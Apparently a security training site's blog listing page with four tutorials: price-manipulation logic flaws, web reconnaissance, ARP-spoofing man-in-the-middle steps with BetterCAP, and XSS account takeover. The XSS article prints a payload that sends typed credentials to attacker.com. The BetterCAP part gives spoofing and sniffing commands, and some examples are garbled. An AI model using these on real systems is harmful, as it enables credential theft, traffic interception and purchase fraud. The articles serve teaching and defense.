Cybersecurity

Business Logic Vulnerability: Price Manipulation

Introduction Business logic vulnerabilities are security weaknesses that exist in the way data and transactions are processed within an application. The most common, and dangerous type, is price manipulation, where there is exploitation of logical flaws in a certain e-commerce and financial systems wherein one buys products or services at a reduced or zero-cost basis. How Price Manipulation Works This happens when the application does not validate price information properly. This allows the attacker to change the price of the items just before finalizing the transaction. It could be a case of either client-side validation or API interaction or even database logic gone wrong. Popular Techniques for Price Manipulation 1. Tampering with Hidden Form Fields Many e-commerce platforms use hidden HTML form fields for storing price information. Attackers can use browser developer tools to change the price before submitting. Example:

<inputtype=”hidden” name=”price” value=”100″>
Changing the value from 100to 10 before submitting the form.

2. Intercepting and Modifying API Requests Latest web applications use API requests for pricing calculations. Attackers can use tools like Burp Suite to intercept API calls and modify price-related parameters before sending the request to the server. Example: { “product_id”: “12345”, “price”: “100.00” }

Converting 00to 1.00 and sending to server.

3. Parameter Pollution Attacks Some applications do not handle multiple parameters correctly. Attackers can modify prices by adding extra parameters to confuse the server. Example:

https://example.com/cart?product_id=12345&price=100&price=1
The server may consider only the second price=1and charge $1 instead of $100 for the product.

4. Coupon and Discount Exploitation Some applications do not validate discount codes correctly or allow stacking of coupons up to their maximum limits. Attackers can apply unlimited discounts or reuse expired codes to reduce the price to zero. Example:

Reusing Expired Codes: An attacker uses an expired code in the URL: https://example.com/checkout?product_id=12345&original_price=100&discount_code=SAVE50 Result: Final price is $50 instead of $100.
Stacking Discounts: The attacker applies multiple valid discount codes: https://example.com/checkout?product_id=12345&original_price=100&discount_code=SAVE50&discount_code=SAVE30 Result: Final price is $35 instead of $100.
Manipulating Discount Logic: The attacker modifies the discount code to 100%: https://example.com/checkout?product_id=12345&original_price=100&discount_code=SAVE100 Result: Final price is $0.

5. Currency Conversion Manipulation Some platforms allow users to switch currencies without validating exchange rates properly. Attackers can switch to a weaker currency, complete the transaction, and revert to their preferred currency at a higher rate. Example:

Actual Price: A product costs $100 USD.
Changing Currency: The user converts the currency to Indian Rupees (INR), where the price reads ₹8,000 (with an assumed conversion rate of ₹80 to 1 USD).
Manipulating the Exchange Rate: The user finds that they can enter a custom exchange rate. They change the price to ₹1,000 (instead of the actual price).
Completion of Transaction: The buyer makes the order, and the site takes the amount of ₹1,000 as payment for the item sold.

6. Cart Tampering & Race Conditions Few applications don’t validate the final price before completing the order process. Hackers can change cart information, create multiple requests, or change the session-based discounts to acquire any product without the cost. Example:

An online retail shop that enables the customers to put a product into the cart and then discount it before submitting the order doesn’t check for final prices on orders submitted.
Adding Products to Cart: A customer adds a very expensive product for $200.
Applying Discounts: The customer can find a code that can get them a discount of 50%. Applying it, he expected the price should be $100.
Manipulating the Cart: Before the checkout process is complete, the user rapidly manipulates the cart using browser developer tools to revert the item price back to $0 or some other significantly lower value.
Making Multiple Requests: The user sends multiple requests to the server in rapid succession in an attempt to complete the purchase before the system processes the discount validation.
Checkout Processing: If the server does not handle these requests properly, it might process one of the requests with the manipulated price of $0.

7. Changing Quantity to Manipulate Pricing If price manipulation fails, attackers can exploit the quantity parameter. By submitting a negative quantity along with a negative price, they can attempt to trick the system into providing products at no cost. Example: { “product_id”: “12345”, “price”: “-1000”, “quantity”: “-1” }

the server could easily misinterpret it and thereby incur an accidental free transaction of items.

Example from Real Life A vulnerability in a popular online marketplace was found by a security researcher who manipulated the API request to adjust the price of digital goods sold through the website. They captured the payment request and changed the price of a $100 digital product to $0.10; the system did not check, and so they processed the transaction, leading to huge losses for the company until it could correct the flaw. The next example deals with a very popular online store for fashion clothes. The application has a weakness in their check-out system and attackers exploited this to raise the price of a designer coat from $500 to $5. They applied the change with the help of hidden input fields in the HTML. They ordered thousands of items in such a small period of time before the firm discovered the problem using an automated script. The retailer had to compensate several fraudulent orders and improve backend validation processes. How to Prevent Price Manipulation Attacks 1. Server-Side Validation Validate prices on the server-side and never trust values from the client-side. Store product prices securely in a backend database rather than relying on user input. 2. Use Secure API Design Implement digital signatures (HMAC) for the integrity of price-related API requests. Ensure that the backend side does the calculation rather than accepting prices from client requests. 3. Implement Strong Access Controls Restrict unauthorized users from accessing administrative or pricing-related functions. Use role-based access control (RBAC) to limit changes to critical financial data. 4. Monitoring and Transaction Logging Implement logging and anomaly detection to highlight unusual price modifications or bulk purchases. Use fraud detection systems for evaluating transaction patterns. 5. Control Coupon and Discount Abuse Limit the use of coupons on one transaction with strict validation on discount stacking. Include expired dates and ensure not to use any discount code twice. 6. Shield Against Race Conditions Implement atomic database transactions to prevent the manipulation of order prices through simultaneous requests. Locking mechanisms will be used to ensure price validation before checkout. Conclusion These vulnerabilities in the manipulation of prices, if not treated in the proper way, lead to huge losses in business operations. The attackers make use of various methods such as modifications in the form fields of the hidden form fields, API requests interception, and currency rate conversion for price alteration. Organizations must practice strong server-side validation and API security along with real-time monitoring to overcome such attacks on revenue.

Business Logic Vulnerability: Price Manipulation Read More »

A Step-by-Step Guide to Web Application Reconnaissance

The process of learning about a target online application in order to find any potential flaws or vulnerabilities is known as web application reconnaissance. By mapping out the attack surface using both passive and active tactics, security experts can fortify defenses before they are exploited.

Because it enables proactive protection methods by assisting in the early identification of potential vulnerabilities, web application reconnaissance is essential to cybersecurity. Security experts may avoid breaches, reduce risks, and guarantee strong defense against online attacks by comprehending the architecture and vulnerabilities of an application.

Types of Web Application Reconnaissance

Passive Reconnaissance: Gathering publicly accessible data on a target—like domain names, IP addresses, or social media activity—without making direct contact is known as passive reconnaissance. Without warning the target, it aids in understanding them.

Active Reconnaissance: Active reconnaissance, such as scanning or testing for flaws, entails working directly with a web application to find vulnerabilities. Although it offers more thorough insights, it might also warn the target of possible dangers.

Tools Used for Reconnaissance

Passive Tools: Whois, DNS Lookup, Google Dorking, Github Dorking, etc.

Whois

DNS Lookup

Google Dorking

Github Dorking

Active Tools: Nmap, Burp Suite, Subfinder, ffuf, etc.

Nmap

Burp Suite

FFUF

Phases of Web Application Reconnaissance

Information Gathering: Finding important resources, such as domains, subdomains, IP addresses, and network settings, is part of the information gathering process. This fundamental stage aids in the creation of a thorough target map, which directs subsequent attack surface and vulnerability assessments.

Service and Version Detection: Finding the web server software, technologies, and frameworks that a web application uses is known as service and version detection. This aids in evaluating potential weaknesses linked to certain iterations or antiquated technologies.

Vulnerability Identification: To find possible security holes in a web application, vulnerability identification entails examining its attack surface. This procedure aids in setting priorities for potentially exploitable regions, directing cleanup activities, etc.

Reconnaissance Techniques

Footprinting: Collecting publicly available information
Subdomain Enumeration: Finding subdomains linked to the main application
Web Crawling and Spidering: Exploring all available pages and directories

A Step-by-Step Guide to Web Application Reconnaissance Read More »

Man-in-the-Middle Attacks Made Easy with BetterCAP

A Man-in-the-Middle (MITM) attack is a type of cyber attack where an attacker secretly intercepts communication between two parties who believe they are directly communicating with each other. In other words, the attacker stands in the middle of the communication channel between two users or devices, without them knowing.

Installing bettercap:

<apt-get install bettercap>

I have already installed it.

To run it type bettercap and then type help

Performing MITM: To perform mitm we will use following modules-

1. net.probe: this will send different types of probe packet to IP’s present in the subnet for net.recon module to detect them
2. net.recon: periodically detects arp table to detect new hosts in the network.
3. Arp.spoof: spoofs selected host to perform MITM
4. Net.sniff: This module is network packet sniffer and fuzzer

You can type help following with the module name to grab some details about:

Lets start our MITM :-
1. Start the prober module to send probe packet to devices in the network .(Note-probe module can automatically turn on net.recon module)
<net.probe on>

2. Start host discovery

<net.recon on>

3. Set the arp.spoof module option fullduplex to true

< set arp.spoof.fullduplex true >

4. Specify the target to spoof

[set arp.spoof.targets <ip> ]

5. Start ARP spoofer:

<arp.spoof on>

6. Start the packet sniffer:

<net.sniff on>

7. Type help to see the modules running

Now see arp table in any machine connected to that network, in my case I checked in my windows machine by using command <arp -a>. and notice that arp of attacker machine and router is same because Windows machine ‘thinks’ the router MAC address is the same as the Kali since the ARP table is spoofed.

Man-in-the-Middle Attacks Made Easy with BetterCAP Read More »

The XSS Threat: How Malicious Scripts Can Hijack Your Accounts

What is cross-site scripting (XSS)?

Cross-site scripting (XSS) remains one of the most prevalent and dangerous web security vulnerabilities. Essentially, XSS allows attackers to inject malicious script into web pages that are viewed by other users. But did you know that sophisticated XSS attacks can lead to full-blown account takeovers (ATOs)? In this blog, we’ll explore how XSS lead to ATOs.

How XSS Leads to Account Takeover

Account Takeover (ATO) is a serious threat where an attacker gains unauthorized access to a user’s account. XSS can facilitate ATO through various methods:

1. Session Hijacking

One of the most direct ways XSS leads to ATO is through session hijacking. When an attacker injects malicious JavaScript into a web page via XSS, they can access the victim’s session cookies if the application does not implement proper cookie security settings.

For Example:

This script sends the victim’s cookies to the attacker’s server, allowing the attacker to impersonate the victim by stealing their session. But it only for when cookie security settings does not implement properly.

2. Credential Theft

XSS can also be used to steal credential, attacks directly fetch credential of victim. An attacker used the feature of web browser that is auto fill the password.

For Example:
<input id=username name=username>
<input type=password name=password onchange=’if(this.value.length)
fetch(“http://attacker.com?username=”+username.value+”&password=”this.value)’>

This script collects the victim’s username and password when they interact with the website and the credentials sends it to the attacker’s server.

Mitigating XSS to Prevent ATO

Preventing XSS and thereby reducing the risk of ATO involves a combination of best practices and security measures:

1. Input Validation and Output Encoding:

Ensure that all user inputs are properly validated and sanitized. Use context-sensitive output encoding to prevent the injection of malicious scripts.

2. Secure Cookie Attributes:

Use secure attributes for cookies, such as `HttpOnly`, `Secure`, and `SameSite`, to reduce the risk of session hijacking. The `HttpOnly` attribute prevents JavaScript from accessing cookies, `Secure` ensures cookies are only sent over HTTPS, and `SameSite` restricts cross-site requests.

3. Content Security Policy (CSP):

Implement a strong Content Security Policy to restrict the sources from which scripts can be loaded. CSP can help mitigate XSS by preventing the execution of unauthorized scripts.

4. Regular Security Audits:

Conduct regular security assessments, including penetration testing and code reviews, to identify and remediate XSS vulnerabilities before they can be exploited.

5. User Education:

Educate users about the risks of phishing and social engineering attacks. Awareness can help them recognize suspicious behavior and avoid falling victim to XSS-based attacks.

Conclusion:

The art of exploiting XSS vulnerabilities to achieve an Account Takeover underscores the critical need for robust web security practices. By understanding how XSS can lead to ATO, organizations can better prepare and defend against these threats. Implementing preventive measures, such as input validation, secure cookie practices, and CSP, along with regular security reviews, can significantly reduce the risk and protect users from account takeovers.

The XSS Threat: How Malicious Scripts Can Hijack Your Accounts Read More »

Master Course Bundle

EC Council

ISC²

PECB

OFFENSIVE SECURITY

ISACA

COMPTIA

mile2

CISCO

Business Logic Vulnerability: Price Manipulation

A Step-by-Step Guide to Web Application Reconnaissance

Man-in-the-Middle Attacks Made Easy with BetterCAP

The XSS Threat: How Malicious Scripts Can Hijack Your Accounts

Subscribe

Quick Link

We offer

Office Address